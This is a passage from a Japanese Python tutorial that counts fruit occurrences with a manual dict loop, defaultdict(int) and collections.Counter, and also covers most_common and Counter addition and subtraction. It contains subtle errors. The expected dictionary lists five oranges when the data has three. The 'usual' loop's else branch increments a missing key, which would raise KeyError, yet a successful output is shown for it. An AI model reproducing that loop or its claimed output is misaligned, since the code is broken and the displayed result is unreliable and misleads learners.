>>> d_default["noexist"] += 1
>>> d_default["noexist"]
1

これを使うと、例えばこんなデータについて

apple
orange
apple
orange
orange
grape
apple
grape

それぞれの個数を調べる、なんていう事がしたいような時、こんなディクショナリを作りたいよねと。

{
  "apple": 3,
  "orange": 5,
  "grape": 2
}

下準備。まずリストにする。

data = """apple
orange
apple
orange
orange
grape
apple
grape""".splitlines()

空のディクショナリを作って・・・

fruits = {}

通常ならこんな風にキーがなかったら0をセットする

for fruit in data:
    # もしディクショナリ内に既に存在すれば
    if fruit in fruits.keys():
        # 1個追加する
        fruits[fruit] += 1
    # もしディクショナリ内に存在しなければ
    else:
        # 1個目を入れる
        fruits[fruit] += 1

>>> fruits
{'apple': 3, 'orange': 3, 'grape': 2}

これを、defaultdictを使うと、こんなにもシンプルに書ける。

fruits = defaultdict(int)
for fruit in data:
    fruits[fruit] += 1

>>> fruits
defaultdict(<class 'int'>, {'apple': 3, 'orange': 3, 'grape': 2})

しかしこれくらい単純な個数計算であれば、同じcollectionsモジュールにCounterというものが用意されていて、リストぶちこむだけで同じ事が実現できてしまう。

>>> from collections import Counter
>>> counts = Counter(data)
>>> counts
Counter({'apple': 3, 'orange': 3, 'grape': 2})

Counterオブジェクトのほうが他にも機能があり、例えばトップ〇のキー/ペアを取得するmost_commonなんていうメソッドがある。

>>> counts.most_common(2)
[('apple', 3), ('orange', 3)]

また、Counterクラスのオブジェクトはdictクラスの子クラスなので、dictが備えている機能は備えている。

Help on class Counter in module collections:

class Counter(builtins.dict)
 |  Dict subclass for counting hashable items.  Sometimes called a bag
 |  or multiset.  Elements are stored as dictionary keys and their counts
 |  are stored as dictionary values.

通常のディクショナリのように値を取り出せるし、

>>> counts["apple"]
3

値だけ取り出したり。

>>> counts.values()
dict_values([3, 3, 2])

キーだけ取り出したり。

>>> counts.keys()
dict_keys(['apple', 'orange', 'grape'])

Counterクラスは演算子オーバーロードもされているので、オブジェクト同士を足したりなんだりができる。

>>> c1 = Counter("aaaaabbbbb")
>>> c1
Counter({'a': 5, 'b': 5})
>>> c2 = Counter("bbbbbccccc")
>>> c2
Counter({'b': 5, 'c': 5})
>>> c1 + c2
Counter({'b': 10, 'a': 5, 'c': 5})
>>> 
>>> c1 - c2
Counter({'a': 5})
>>>

 

結論:べんり。